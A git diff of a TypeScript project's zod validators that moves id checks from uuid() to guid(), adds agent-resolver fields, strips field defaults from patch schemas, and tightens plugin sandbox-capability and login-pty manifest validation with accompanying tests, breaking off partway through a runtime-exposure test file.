   previewMarkdown: z.string().max(20000).nullable().optional(),
   href: requestConfirmationHrefSchema.nullable().optional(),
-  attachmentId: z.string().uuid().nullable().optional(),
+  attachmentId: z.string().guid().nullable().optional(),
 });
 
 export const requestItemVerdictsPayloadSchema = z.object({
@@ -1165,9 +1244,26 @@ export const requestItemVerdictsResultItemSchema = z.object({
   id: z.string().trim().min(1).max(120),
   verdict: requestItemVerdictValueSchema,
   reason: z.string().trim().max(4000).nullable().optional(),
-  resolvedByUserId: z.string().trim().min(1).max(255),
+  resolvedByUserId: z.string().trim().min(1).max(255).nullable().optional(),
+  resolvedByAgentId: z.string().guid().nullable().optional(),
+  resolvedByRunId: z.string().guid().nullable().optional(),
   resolvedAt: z.union([z.string().datetime(), z.date()]),
-  commentId: z.string().uuid().nullable().optional(),
+  commentId: z.string().guid().nullable().optional(),
+}).superRefine((value, ctx) => {
+  if (!value.resolvedByUserId && !value.resolvedByAgentId) {
+    ctx.addIssue({
+      code: z.ZodIssueCode.custom,
+      message: "a user or agent resolver is required",
+      path: ["resolvedByUserId"],
+    });
+  }
+  if (value.resolvedByAgentId && !value.resolvedByRunId) {
+    ctx.addIssue({
+      code: z.ZodIssueCode.custom,
+      message: "resolvedByRunId is required for an agent resolver",
+      path: ["resolvedByRunId"],
+    });
+  }
 });
 
 export const requestItemVerdictsResultSchema = z.object({
@@ -1177,7 +1273,7 @@ export const requestItemVerdictsResultSchema = z.object({
   complete: z.boolean(),
   items: z.array(requestItemVerdictsResultItemSchema)
     .max(REQUEST_ITEM_VERDICTS_ITEM_LIMIT),
-  commentId: z.string().uuid().nullable().optional(),
+  commentId: z.string().guid().nullable().optional(),
   staleTarget: requestConfirmationTargetSchema.nullable().optional(),
 }).superRefine((value, ctx) => {
   const itemIds = new Set<string>();
@@ -1195,7 +1291,7 @@ export const requestItemVerdictsResultSchema = z.object({
 
 const createIssueThreadInteractionCommon = {
   resolverPolicy: issueThreadInteractionResolverPolicySchema.optional(),
-  addresseeAgentId: z.string().uuid().nullable().optional(),
+  addresseeAgentId: z.string().guid().nullable().optional(),
 };
 
 export const createIssueThreadInteractionSchema = z.discriminatedUnion("kind", [
@@ -1203,8 +1299,8 @@ export const createIssueThreadInteractionSchema = z.discriminatedUnion("kind", [
     ...createIssueThreadInteractionCommon,
     kind: z.literal("suggest_tasks"),
     idempotencyKey: z.string().trim().max(255).nullable().optional(),
-    sourceCommentId: z.string().uuid().nullable().optional(),
-    sourceRunId: z.string().uuid().nullable().optional(),
+    sourceCommentId: z.string().guid().nullable().optional(),
+    sourceRunId: z.string().guid().nullable().optional(),
     title: z.string().trim().max(240).nullable().optional(),
     summary: z.string().trim().max(1000).nullable().optional(),
     continuationPolicy: issueThreadInteractionContinuationPolicySchema.optional().default("wake_assignee"),
@@ -1214,8 +1310,8 @@ export const createIssueThreadInteractionSchema = z.discriminatedUnion("kind", [
     ...createIssueThreadInteractionCommon,
     kind: z.literal("ask_user_questions"),
     idempotencyKey: z.string().trim().max(255).nullable().optional(),
-    sourceCommentId: z.string().uuid().nullable().optional(),
-    sourceRunId: z.string().uuid().nullable().optional(),
+    sourceCommentId: z.string().guid().nullable().optional(),
+    sourceRunId: z.string().guid().nullable().optional(),
     title: z.string().trim().max(240).nullable().optional(),
     summary: z.string().trim().max(1000).nullable().optional(),
     continuationPolicy: issueThreadInteractionContinuationPolicySchema.optional().default("wake_assignee"),
@@ -1225,8 +1321,8 @@ export const createIssueThreadInteractionSchema = z.discriminatedUnion("kind", [
     ...createIssueThreadInteractionCommon,
     kind: z.literal("request_confirmation"),
     idempotencyKey: z.string().trim().max(255).nullable().optional(),
-    sourceCommentId: z.string().uuid().nullable().optional(),
-    sourceRunId: z.string().uuid().nullable().optional(),
+    sourceCommentId: z.string().guid().nullable().optional(),
+    sourceRunId: z.string().guid().nullable().optional(),
     title: z.string().trim().max(240).nullable().optional(),
     summary: z.string().trim().max(1000).nullable().optional(),
     continuationPolicy: issueThreadInteractionContinuationPolicySchema.optional().default("none"),
@@ -1236,8 +1332,8 @@ export const createIssueThreadInteractionSchema = z.discriminatedUnion("kind", [
     ...createIssueThreadInteractionCommon,
     kind: z.literal("request_checkbox_confirmation"),
     idempotencyKey: z.string().trim().max(255).nullable().optional(),
-    sourceCommentId: z.string().uuid().nullable().optional(),
-    sourceRunId: z.string().uuid().nullable().optional(),
+    sourceCommentId: z.string().guid().nullable().optional(),
+    sourceRunId: z.string().guid().nullable().optional(),
     title: z.string().trim().max(240).nullable().optional(),
     summary: z.string().trim().max(1000).nullable().optional(),
     continuationPolicy: issueThreadInteractionContinuationPolicySchema.optional().default("wake_assignee"),
@@ -1247,8 +1343,8 @@ export const createIssueThreadInteractionSchema = z.discriminatedUnion("kind", [
     ...createIssueThreadInteractionCommon,
     kind: z.literal("request_item_verdicts"),
     idempotencyKey: z.string().trim().max(255).nullable().optional(),
-    sourceCommentId: z.string().uuid().nullable().optional(),
-    sourceRunId: z.string().uuid().nullable().optional(),
+    sourceCommentId: z.string().guid().nullable().optional(),
+    sourceRunId: z.string().guid().nullable().optional(),
     title: z.string().trim().max(240).nullable().optional(),
     summary: z.string().trim().max(1000).nullable().optional(),
     continuationPolicy: issueThreadInteractionContinuationPolicySchema.optional().default("wake_assignee"),
@@ -1337,13 +1433,13 @@ export const submitIssueThreadInteractionVerdictsSchema = z.object({
 export type SubmitIssueThreadInteractionVerdicts = z.infer<typeof submitIssueThreadInteractionVerdictsSchema>;
 
 export const linkIssueApprovalSchema = z.object({
-  approvalId: z.string().uuid(),
+  approvalId: z.string().guid(),
 });
 
 export type LinkIssueApproval = z.infer<typeof linkIssueApprovalSchema>;
 
 export const createIssueAttachmentMetadataSchema = z.object({
-  issueCommentId: z.string().uuid().optional().nullable(),
+  issueCommentId: z.string().guid().optional().nullable(),
 });
 
 export type CreateIssueAttachmentMetadata = z.infer<typeof createIssueAttachmentMetadataSchema>;
@@ -1357,7 +1453,7 @@ export const upsertIssueDocumentSchema = z.object({
   format: issueDocumentFormatSchema,
   body: multilineTextSchema.pipe(z.string().max(524288)),
   changeSummary: z.string().trim().max(500).nullable().optional(),
-  baseRevisionId: z.string().uuid().nullable().optional(),
+  baseRevisionId: z.string().guid().nullable().optional(),
 });
 
 export const restoreIssueDocumentRevisionSchema = z.object({});
diff --git a/packages/shared/src/validators/partial.ts b/packages/shared/src/validators/partial.ts
new file mode 100644
index 00000000000..fa60ec7481f
--- /dev/null
+++ b/packages/shared/src/validators/partial.ts
@@ -0,0 +1,41 @@
+import { z } from "zod";
+
+// Remove each `.default()` wrapper from one field. The wrapper can sit at the
+// top, or under an `.optional()` or `.nullable()` wrapper, so this walks the
+// chain and keeps the `optional`/`nullable` wrappers. The field then has no
+// default at any level of the outer chain.
+function fieldWithoutDefault(field: z.ZodTypeAny): z.ZodTypeAny {
+  if (field instanceof z.ZodDefault) {
+    return fieldWithoutDefault(field.unwrap() as z.ZodTypeAny);
+  }
+  if (field instanceof z.ZodOptional) {
+    return z.optional(fieldWithoutDefault(field.unwrap() as z.ZodTypeAny));
+  }
+  if (field instanceof z.ZodNullable) {
+    return z.nullable(fieldWithoutDefault(field.unwrap() as z.ZodTypeAny));
+  }
+  return field;
+}
+
+// Zod 4 keeps a field `.default()` active after `.partial()`. A patch parse then
+// fills the default for an absent key. The merge then overwrites a stored value
+// that the caller did not send. A patch schema must keep only the keys the
+// caller sends. This helper removes each top-level field default from an object
+// shape. `.partial()` then leaves an absent key absent.
+export function shapeWithoutDefaults(shape: z.ZodRawShape): z.ZodRawShape {
+  return Object.fromEntries(
+    Object.entries(shape).map(([key, field]) => [
+      key,
+      fieldWithoutDefault(field as z.ZodTypeAny),
+    ]),
+  );
+}
+
+// Build a patch object schema from a base object schema. The result drops each
+// top-level `.default()`, so a `.partial()` parse keeps only the keys the caller
+// sends. Chain `.partial()` and any `.extend()`/`.refine()` on the result.
+export function objectWithoutDefaults<T extends z.ZodRawShape>(
+  schema: z.ZodObject<T>,
+): z.ZodObject<T> {
+  return z.object(shapeWithoutDefaults(schema.shape)) as unknown as z.ZodObject<T>;
+}
diff --git a/packages/shared/src/validators/pipeline.ts b/packages/shared/src/validators/pipeline.ts
index 73bc5741ebb..d6f47aa20ba 100644
--- a/packages/shared/src/validators/pipeline.ts
+++ b/packages/shared/src/validators/pipeline.ts
@@ -24,22 +24,22 @@ export const pipelineStageApproverSchema = z.object({
 
 export const pipelineStageOnEnterSchema = z.object({
   type: z.literal("run_routine"),
-  routineId: z.string().uuid(),
+  routineId: z.string().guid(),
   id: z.string().trim().min(1).max(200).optional(),
-  projectId: z.string().uuid().optional().nullable(),
-  projectWorkspaceId: z.string().uuid().optional().nullable(),
-  executionWorkspaceId: z.string().uuid().optional().nullable(),
+  projectId: z.string().guid().optional().nullable(),
+  projectWorkspaceId: z.string().guid().optional().nullable(),
+  executionWorkspaceId: z.string().guid().optional().nullable(),
   executionWorkspacePreference: z.enum(ISSUE_EXECUTION_WORKSPACE_PREFERENCES).optional().nullable(),
   executionWorkspaceSettings: issueExecutionWorkspaceSettingsSchema.optional().nullable(),
 }).passthrough();
 
 export const pipelineStageAutomationSchema = z.object({
-  routineId: z.string().uuid().optional().nullable(),
-  assigneeAgentId: z.string().uuid().optional().nullable(),
+  routineId: z.string().guid().optional().nullable(),
+  assigneeAgentId: z.string().guid().optional().nullable(),
   instructionsBody: z.string().optional().nullable(),
-  projectId: z.string().uuid().optional().nullable(),
-  projectWorkspaceId: z.string().uuid().optional().nullable(),
-  executionWorkspaceId: z.string().uuid().optional().nullable(),
+  projectId: z.string().guid().optional().nullable(),
+  projectWorkspaceId: z.string().guid().optional().nullable(),
+  executionWorkspaceId: z.string().guid().optional().nullable(),
   executionWorkspacePreference: z.enum(ISSUE_EXECUTION_WORKSPACE_PREFERENCES).optional().nullable(),
   executionWorkspaceSettings: issueExecutionWorkspaceSettingsSchema.optional().nullable(),
 }).passthrough();
@@ -52,7 +52,7 @@ export const pipelineStageCarryOverPolicySchema = z.object({
 });
 
 export const pipelineStageBreakdownSchema = z.object({
-  targetPipelineId: z.string().uuid(),
+  targetPipelineId: z.string().guid(),
   targetStageKey: z.string().trim().min(1).max(120),
   pieceNoun: z.string().trim().min(1).max(80).default("piece"),
   carryOverPolicy: pipelineStageCarryOverPolicySchema.optional(),
@@ -137,7 +137,7 @@ export const pipelineAutomationRetryCleanupOptionsSchema = z.object({
 
 export const pipelineAutomationRetryRequestSchema = z.object({
   scope: pipelineAutomationRetryScopeSchema,
-  targetStageId: z.string().uuid().nullable().optional(),
+  targetStageId: z.string().guid().nullable().optional(),
   expectedVersion: z.number().int().positive(),
   cleanup: pipelineAutomationRetryCleanupOptionsSchema.default({
     retireDirectChildren: true,
diff --git a/packages/shared/src/validators/plugin.test.ts b/packages/shared/src/validators/plugin.test.ts
index a560ab25e58..ff2e7a99353 100644
--- a/packages/shared/src/validators/plugin.test.ts
+++ b/packages/shared/src/validators/plugin.test.ts
@@ -1,7 +1,31 @@
 import { describe, expect, it } from "vitest";
 import { PLUGIN_CAPABILITIES } from "../constants.js";
+import { resolveDeclaredSandboxCapabilities } from "../environment-support.js";
 import { pluginManagedRoutineDeclarationSchema, pluginManifestV1Schema, pluginUiSlotDeclarationSchema } from "./plugin.js";
 
+function buildSandboxProviderManifest(driver: Record<string, unknown>) {
+  return {
+    id: "paperclip.capability-provider",
+    apiVersion: 1,
+    version: "0.1.0",
+    displayName: "Capability Provider",
+    description: "Sandbox provider that declares fine-grained capabilities.",
+    author: "Paperclip",
+    categories: ["automation"],
+    capabilities: ["environment.drivers.register"],
+    entrypoints: { worker: "./dist/worker.js" },
+    environmentDrivers: [
+      {
+        driverKey: "capability-provider",
+        kind: "sandbox_provider",
+        displayName: "Capability Provider",
+        configSchema: { type: "object" },
+        ...driver,
+      },
+    ],
+  };
+}
+
 describe("plugin capability constants", () => {
   it("exposes each capability once", () => {
     expect(new Set(PLUGIN_CAPABILITIES).size).toBe(PLUGIN_CAPABILITIES.length);
@@ -250,3 +274,151 @@ describe("plugin UI slot validators", () => {
     expect(parsed.error.issues.some((issue) => issue.message.includes("reserved by the host"))).toBe(true);
   });
 });
+
+describe("sandbox provider capability declaration validators", () => {
+  it("test_manifest_accepts_sandbox_capabilities_and_rejects_unknown_capability_keys", () => {
+    const parsed = pluginManifestV1Schema.parse(
+      buildSandboxProviderManifest({
+        sandboxCapabilities: {
+          reusableLeases: true,
+          nativeSyncIn: true,
+          nativeSyncOut: false,
+          persistentProcessSessions: true,
+          independentControlCommands: false,
+          incrementalSessionOutput: true,
+        },
+      }),
+    );
+
+    expect(parsed.environmentDrivers?.[0]?.sandboxCapabilities).toEqual({
+      reusableLeases: true,
+      nativeSyncIn: true,
+      nativeSyncOut: false,
+      persistentProcessSessions: true,
+      independentControlCommands: false,
+      incrementalSessionOutput: true,
+    });
+
+    const rejected = pluginManifestV1Schema.safeParse(
+      buildSandboxProviderManifest({
+        sandboxCapabilities: {
+          reusableLeases: true,
+          // A typo or unknown capability name must fail validation, not drop
+          // silently. The nested schema is `.strict()`.
+          nativeSync: true,
+        },
+      }),
+    );
+
+    expect(rejected.success).toBe(false);
+  });
+
+  it("test_manifest_accepts_concurrent_sync_operations_capability", () => {
+    // A provider opts in to parallel bidirectional file sync with this key. The
+    // strict schema accepts it and keeps the declared value.
+    const parsed = pluginManifestV1Schema.parse(
+      buildSandboxProviderManifest({
+        sandboxCapabilities: { concurrentSyncOperations: true },
+      }),
+    );
+
+    expect(parsed.environmentDrivers?.[0]?.sandboxCapabilities).toEqual({
+      concurrentSyncOperations: true,
+    });
+  });
+
+  it("test_manifest_rejects_unknown_sync_concurrency_capability_key", () => {
+    // A neighboring but unknown concurrency key must fail validation, not drop
+    // silently. The strict schema rejects a capability the host does not honor.
+    const rejected = pluginManifestV1Schema.safeParse(
+      buildSandboxProviderManifest({
+        sandboxCapabilities: { concurrentSyncAndExec: true },
+      }),
+    );
+    expect(rejected.success).toBe(false);
+  });
+
+  it("test_supports_reusable_leases_compat_maps_to_reusable_leases", () => {
+    const parsed = pluginManifestV1Schema.parse(
+      buildSandboxProviderManifest({ supportsReusableLeases: true }),
+    );
+    const driver = parsed.environmentDrivers?.[0];
+
+    expect(driver?.sandboxCapabilities).toBeUndefined();
+    expect(resolveDeclaredSandboxCapabilities(driver!).reusableLeases).toBe(true);
+  });
+
+  it("test_sandbox_capabilities_reusable_leases_wins_over_compat_field", () => {
+    const parsed = pluginManifestV1Schema.parse(
+      buildSandboxProviderManifest({
+        supportsReusableLeases: true,
+        sandboxCapabilities: { reusableLeases: false },
+      }),
+    );
+    const driver = parsed.environmentDrivers?.[0];
+
+    // The nested declaration wins over the legacy compat flag when both exist.
+    expect(resolveDeclaredSandboxCapabilities(driver!).reusableLeases).toBe(false);
+  });
+});
+
+describe("login pty transport capability and legacy alias", () => {
+  it("test_login_pty_new_field_parses_and_carries_the_flag", () => {
+    const parsed = pluginManifestV1Schema.parse(
+      buildSandboxProviderManifest({ supportsLoginPty: true }),
+    );
+
+    expect(parsed.environmentDrivers?.[0]?.supportsLoginPty).toBe(true);
+  });
+
+  it("test_legacy_alias_only_canonicalizes_onto_login_pty", () => {
+    const parsed = pluginManifestV1Schema.parse(
+      buildSandboxProviderManifest({ supportsSetupTokenLogin: true }),
+    );
+    const driver = parsed.environmentDrivers?.[0];
+
+    // The validator maps the deprecated alias onto the canonical field at parse
+    // time, and it drops the alias so a downstream reader cannot read the old
+    // name.
+    expect(driver?.supportsLoginPty).toBe(true);
+    expect(driver).not.toHaveProperty("supportsSetupTokenLogin");
+  });
+
+  it("test_conflicting_alias_and_new_field_reject", () => {
+    const rejected = pluginManifestV1Schema.safeParse(
+      buildSandboxProviderManifest({
+        supportsLoginPty: true,
+        supportsSetupTokenLogin: false,
+      }),
+    );
+
+    expect(rejected.success).toBe(false);
+  });
+
+  it("test_matching_alias_and_new_field_pass", () => {
+    const parsed = pluginManifestV1Schema.parse(
+      buildSandboxProviderManifest({
+        supportsLoginPty: true,
+        supportsSetupTokenLogin: true,
+      }),
+    );
+
+    expect(parsed.environmentDrivers?.[0]?.supportsLoginPty).toBe(true);
+  });
+
+  it("test_unknown_login_field_misspelling_rejects", () => {
+    const rejected = pluginManifestV1Schema.safeParse(
+      buildSandboxProviderManifest({ supportsLoginPTY: true }),
+    );
+
+    expect(rejected.success).toBe(false);
+  });
+
+  it("test_login_pty_accepts_literal_booleans_only", () => {
+    const rejected = pluginManifestV1Schema.safeParse(
+      buildSandboxProviderManifest({ supportsLoginPty: "true" }),
+    );
+
+    expect(rejected.success).toBe(false);
+  });
+});
diff --git a/packages/shared/src/validators/plugin.ts b/packages/shared/src/validators/plugin.ts
index c2671cc6f07..24a6ecfce3a 100644
--- a/packages/shared/src/validators/plugin.ts
+++ b/packages/shared/src/validators/plugin.ts
@@ -155,6 +155,26 @@ export const pluginEnvironmentTemplateConfigBindingSchema = z.object({
   }
 });
 
+// The nested sandbox capability declaration is `.strict()` so an unknown
+// capability key is a validation error, not a silently dropped field. The outer
+// driver schema below is also `.strict()`, so a typo in a top-level capability
+// name cannot pass either.
+export const sandboxProviderCapabilitiesSchema = z.object({
+  reusableLeases: z.boolean().optional(),
+  nativeSyncIn: z.boolean().optional(),
+  nativeSyncOut: z.boolean().optional(),
+  persistentProcessSessions: z.boolean().optional(),
+  independentControlCommands: z.boolean().optional(),
+  incrementalSessionOutput: z.boolean().optional(),
+  concurrentSyncOperations: z.boolean().optional(),
+  duplexCommandStream: z.boolean().optional(),
+}).strict();
+
+export type SandboxProviderCapabilitiesInput = z.infer<typeof sandboxProviderCapabilitiesSchema>;
+
+// The driver declaration schema is `.strict()` so an unknown top-level key is a
+// validation error, not a silently dropped field. A misspelled capability name
+// (for example `supportsLoginPTY`) fails validation instead of dropping.
 export const pluginEnvironmentDriverDeclarationSchema = z.object({
   driverKey: z.string().min(1).regex(
     /^[a-z0-9][a-z0-9._-]*$/,
@@ -164,6 +184,7 @@ export const pluginEnvironmentDriverDeclarationSchema = z.object({
   displayName: z.string().min(1).max(100),
   description: z.string().max(500).optional(),
   supportsReusableLeases: z.boolean().optional(),
+  sandboxCapabilities: sandboxProviderCapabilitiesSchema.optional(),
   supportsInteractiveSetup: z.boolean().optional(),
   interactiveSetupConnectionTypes: z.array(z.string().min(1).max(100)).max(10).optional(),
   supportsTemplateCapture: z.boolean().optional(),
@@ -171,7 +192,38 @@ export const pluginEnvironmentDriverDeclarationSchema = z.object({
   templateConfigBinding: pluginEnvironmentTemplateConfigBindingSchema.optional(),
   templateIdentityPaths: z.array(z.string().min(1).max(200)).max(20).optional(),
   supportsTemplateDelete: z.boolean().optional(),
+  // The neutral transport capability: does the provider host an interactive
+  // login on a real pseudo-terminal? Validate a literal boolean only.
+  supportsLoginPty: z.boolean().optional(),
+  // Deprecated alias for `supportsLoginPty`. It exists only so an external
+  // plugin manifest that declares the old name still loads. Validate a literal
+  // boolean only. The transform below canonicalizes it onto `supportsLoginPty`
+  // and drops it, so every downstream reader reads only the canonical field.
+  supportsSetupTokenLogin: z.boolean().optional(),
   configSchema: jsonSchemaSchema,
+}).strict().superRefine((driver, ctx) => {
+  // Reject a manifest that carries both the alias and the canonical field with
+  // different values. Matching values pass. A single field passes.
+  if (
+    driver.supportsLoginPty !== undefined
+    && driver.supportsSetupTokenLogin !== undefined
+    && driver.supportsLoginPty !== driver.supportsSetupTokenLogin
+  ) {
+    ctx.addIssue({
+      code: z.ZodIssueCode.custom,
+      message:
+        "supportsSetupTokenLogin is a deprecated alias for supportsLoginPty; the two flags must not carry different values",
+      path: ["supportsLoginPty"],
+    });
+  }
+}).transform((driver) => {
+  // Canonicalize before any authorization or projection reads the value. The
+  // canonical field wins; the alias fills it in when only the alias is present.
+  // Drop the alias so every downstream reader reads only `supportsLoginPty`. An
+  // undefined value is omitted on JSON serialization, so a driver that declares
+  // neither field carries no login flag.
+  const { supportsSetupTokenLogin, ...rest } = driver;
+  return { ...rest, supportsLoginPty: rest.supportsLoginPty ?? supportsSetupTokenLogin };
 });
 
 export type PluginEnvironmentDriverDeclarationInput = z.infer<
@@ -199,7 +251,7 @@ export const pluginManagedAgentDeclarationSchema = z.object({
   instructions: z.object({
     entryFile: z.string().min(1).max(200).optional(),
     content: z.string().max(200_000).optional(),
-    files: z.record(z.string().max(200_000)).optional(),
+    files: z.record(z.string(), z.string().max(200_000)).optional(),
     assetPath: z.string().min(1).max(500).optional(),
   }).optional(),
 });
@@ -235,7 +287,7 @@ export const pluginManagedRoutineDeclarationSchema = z.object({
   description: z.string().max(10_000).nullable().optional(),
   assigneeRef: pluginManagedResourceRefSchema.extend({ resourceKind: z.literal("agent") }).nullable().optional(),
   projectRef: pluginManagedResourceRefSchema.extend({ resourceKind: z.literal("project") }).nullable().optional(),
-  goalId: z.string().uuid().nullable().optional(),
+  goalId: z.string().guid().nullable().optional(),
   status: z.enum(ROUTINE_STATUSES).optional(),
   priority: z.enum(ISSUE_PRIORITIES).optional(),
   concurrencyPolicy: z.enum(ROUTINE_CONCURRENCY_POLICIES).optional(),
@@ -1148,7 +1200,7 @@ export type InstallPlugin = z.infer<typeof installPluginSchema>;
  * the plugin's instanceConfigSchema is done at the service layer.
  */
 export const upsertPluginConfigSchema = z.object({
-  companyId: z.string().uuid(),
+  companyId: z.string().guid(),
   configJson: z.record(z.string(), z.unknown()),
 });
 
@@ -1159,7 +1211,7 @@ export type UpsertPluginConfig = z.infer<typeof upsertPluginConfigSchema>;
  * Allows a partial merge of config values.
  */
 export const patchPluginConfigSchema = z.object({
-  companyId: z.string().uuid(),
+  companyId: z.string().guid(),
   configJson: z.record(z.string(), z.unknown()),
 });
 
diff --git a/packages/shared/src/validators/project.ts b/packages/shared/src/validators/project.ts
index d56eb3a3b9b..06684438677 100644
--- a/packages/shared/src/validators/project.ts
+++ b/packages/shared/src/validators/project.ts
@@ -2,6 +2,7 @@ import { z } from "zod";
 import { PROJECT_STATUSES, PROJECT_ICON_NAMES } from "../constants.js";
 import { envConfigSchema } from "./secret.js";
 import { trustAuthorizationPolicySchema } from "./trust-policy.js";
+import { objectWithoutDefaults } from "./partial.js";
 
 const executionWorkspaceStrategySchema = z
   .object({
@@ -21,8 +22,8 @@ export const projectExecutionWorkspacePolicySchema = z
     sharedWorkspaceConcurrency: z.enum(["auto", "serialize", "allow"]).optional(),
     defaultMode: z.enum(["shared_workspace", "isolated_workspace", "operator_branch", "adapter_default"]).optional(),
     allowIssueOverride: z.boolean().optional(),
-    defaultProjectWorkspaceId: z.string().uuid().optional().nullable(),
-    environmentId: z.string().uuid().optional().nullable(),
+    defaultProjectWorkspaceId: z.string().guid().optional().nullable(),
+    environmentId: z.string().guid().optional().nullable(),
     workspaceStrategy: executionWorkspaceStrategySchema.optional().nullable(),
     workspaceRuntime: z.record(z.string(), z.unknown()).optional().nullable(),
     branchPolicy: z.record(z.string(), z.unknown()).optional().nullable(),
@@ -36,7 +37,7 @@ export const projectExecutionWorkspacePolicySchema = z
 export const projectWorkspaceRuntimeConfigSchema = z.object({
   workspaceRuntime: z.record(z.string(), z.unknown()).optional().nullable(),
   desiredState: z.enum(["running", "stopped", "manual"]).optional().nullable(),
-  serviceStates: z.record(z.enum(["running", "stopped", "manual"])).optional().nullable(),
+  serviceStates: z.record(z.string(), z.enum(["running", "stopped", "manual"])).optional().nullable(),
 }).strict();
 
 const projectWorkspaceSourceTypeSchema = z.enum(["local_path", "git_repo", "remote_managed", "non_git_path"]);
@@ -101,12 +102,12 @@ export type UpdateProjectWorkspace = z.infer<typeof updateProjectWorkspaceSchema
 
 const projectFields = {
   /** @deprecated Use goalIds instead */
-  goalId: z.string().uuid().optional().nullable(),
-  goalIds: z.array(z.string().uuid()).optional(),
+  goalId: z.string().guid().optional().nullable(),
+  goalIds: z.array(z.string().guid()).optional(),
   name: z.string().min(1),
   description: z.string().optional().nullable(),
   status: z.enum(PROJECT_STATUSES).optional().default("backlog"),
-  leadAgentId: z.string().uuid().optional().nullable(),
+  leadAgentId: z.string().guid().optional().nullable(),
   targetDate: z.string().optional().nullable(),
   color: z.string().optional().nullable(),
   icon: z.enum(PROJECT_ICON_NAMES).optional().nullable(),
@@ -122,7 +123,9 @@ export const createProjectSchema = z.object({
 
 export type CreateProject = z.infer<typeof createProjectSchema>;
 
-export const updateProjectSchema = z.object(projectFields).partial();
+export const updateProjectSchema = objectWithoutDefaults(
+  z.object(projectFields),
+).partial();
 
 export type UpdateProject = z.infer<typeof updateProjectSchema>;
 
diff --git a/packages/shared/src/validators/routine.ts b/packages/shared/src/validators/routine.ts
index 1f27068cbfb..5d8bc3a4a14 100644
--- a/packages/shared/src/validators/routine.ts
+++ b/packages/shared/src/validators/routine.ts
@@ -16,6 +16,7 @@ import {
 } from "./issue.js";
 import { envConfigSchema } from "./secret.js";
 import { isValidRoutineDateString } from "../routine-variables.js";
+import { objectWithoutDefaults } from "./partial.js";
 
 const routineVariableValueSchema = z.union([z.string(), z.number().finite(), z.boolean()]);
 
@@ -62,13 +63,13 @@ export const routineVariableSchema = z.object({
 });
 
 export const createRoutineSchema = z.object({
-  projectId: z.string().uuid().optional().nullable(),
-  folderId: z.string().uuid().optional().nullable(),
-  goalId: z.string().uuid().optional().nullable(),
-  parentIssueId: z.string().uuid().optional().nullable(),
+  projectId: z.string().guid().optional().nullable(),
+  folderId: z.string().guid().optional().nullable(),
+  goalId: z.string().guid().optional().nullable(),
+  parentIssueId: z.string().guid().optional().nullable(),
   title: z.string().trim().min(1).max(200),
   description: z.string().optional().nullable(),
-  assigneeAgentId: z.string().uuid().optional().nullable(),
+  assigneeAgentId: z.string().guid().optional().nullable(),
   priority: z.enum(ISSUE_PRIORITIES).optional().default("medium"),
   status: z.enum(ROUTINE_STATUSES).optional().default("active"),
   concurrencyPolicy: z.enum(ROUTINE_CONCURRENCY_POLICIES).optional().default("coalesce_if_active"),
@@ -81,21 +82,21 @@ export const createRoutineSchema = z.object({
 
 export type CreateRoutine = z.infer<typeof createRoutineSchema>;
 
-export const updateRoutineSchema = createRoutineSchema.partial().extend({
-  baseRevisionId: z.string().uuid().optional().nullable(),
+export const updateRoutineSchema = objectWithoutDefaults(createRoutineSchema).partial().extend({
+  baseRevisionId: z.string().guid().optional().nullable(),
 });
 export type UpdateRoutine = z.infer<typeof updateRoutineSchema>;
 
 export const routineRevisionSnapshotRoutineV1Schema = z.object({
-  id: z.string().uuid(),
-  companyId: z.string().uuid(),
-  projectId: z.string().uuid().nullable(),
-  folderId: z.string().uuid().nullable().optional(),
-  goalId: z.string().uuid().nullable(),
-  parentIssueId: z.string().uuid().nullable(),
+  id: z.string().guid(),
+  companyId: z.string().guid(),
+  projectId: z.string().guid().nullable(),
+  folderId: z.string().guid().nullable().optional(),
+  goalId: z.string().guid().nullable(),
+  parentIssueId: z.string().guid().nullable(),
   title: z.string().trim().min(1).max(200),
   description: z.string().nullable(),
-  assigneeAgentId: z.string().uuid().nullable(),
+  assigneeAgentId: z.string().guid().nullable(),
   priority: z.enum(ISSUE_PRIORITIES),
   status: z.enum(ROUTINE_STATUSES),
   concurrencyPolicy: z.enum(ROUTINE_CONCURRENCY_POLICIES),
@@ -108,7 +109,7 @@ export const routineRevisionSnapshotRoutineV1Schema = z.object({
 }).strict();
 
 export const routineRevisionSnapshotTriggerV1Schema = z.object({
-  id: z.string().uuid(),
+  id: z.string().guid(),
   kind: z.enum(ROUTINE_TRIGGER_KINDS),
   label: z.string().nullable(),
   enabled: z.boolean(),
@@ -164,15 +165,15 @@ export const updateRoutineTriggerSchema = z.object({
 export type UpdateRoutineTrigger = z.infer<typeof updateRoutineTriggerSchema>;
 
 export const runRoutineSchema = z.object({
-  triggerId: z.string().uuid().optional().nullable(),
+  triggerId: z.string().guid().optional().nullable(),
   payload: z.record(z.string(), z.unknown()).optional().nullable(),
   variables: z.record(z.string(), routineVariableValueSchema).optional().nullable(),
-  projectId: z.string().uuid().optional().nullable(),
-  projectWorkspaceId: z.string().uuid().optional().nullable(),
-  assigneeAgentId: z.string().uuid().optional().nullable(),
+  projectId: z.string().guid().optional().nullable(),
+  projectWorkspaceId: z.string().guid().optional().nullable(),
+  assigneeAgentId: z.string().guid().optional().nullable(),
   idempotencyKey: z.string().trim().max(255).optional().nullable(),
   source: z.enum(["manual", "api"]).optional().default("manual"),
-  executionWorkspaceId: z.string().uuid().optional().nullable(),
+  executionWorkspaceId: z.string().guid().optional().nullable(),
   executionWorkspacePreference: z.enum(ISSUE_EXECUTION_WORKSPACE_PREFERENCES).optional().nullable(),
   executionWorkspaceSettings: issueExecutionWorkspaceSettingsSchema.optional().nullable(),
 });
diff --git a/packages/shared/src/validators/runtime-exposure.test.ts b/packages/shared/src/validators/runtime-exposure.test.ts
new file mode 100644
index 00000000000..31175388dba
--- /dev/null
+++ b/packages/shared/src/validators/runtime-exposure.test.ts
@@ -0,0 +1,169 @@
+import { describe, expect, it } from "vitest";
+import {
+  DEFAULT_TAILSCALE_HTTPS_EXPOSURE,
+  parseRuntimeExposureConfig,
+  readRuntimeExposureIntent,
+  resolveDeclaredRuntimeExposureConfig,
+  runtimeExposureConfigSchema,
+  runtimeExposureListenerSchema,
+  runtimeExposureStatusSchema,
+} from "./runtime-exposure.js";
+
+describe("runtimeExposureConfigSchema", () => {
+  it("accepts the default fail-closed config", () => {
+    expect(() => runtimeExposureConfigSchema.parse(DEFAULT_TAILSCALE_HTTPS_EXPOSURE)).not.toThrow();
+  });
+
+  it("rejects unknown fields (no smuggled target/path/hostname suffix)", () => {
+    expect(() =>
+      runtimeExposureConfigSchema.parse({
+        ...DEFAULT_TAILSCALE_HTTPS_EXPOSURE,
+        target: "http://127.0.0.1:5432",
+      }),
+    ).toThrow();
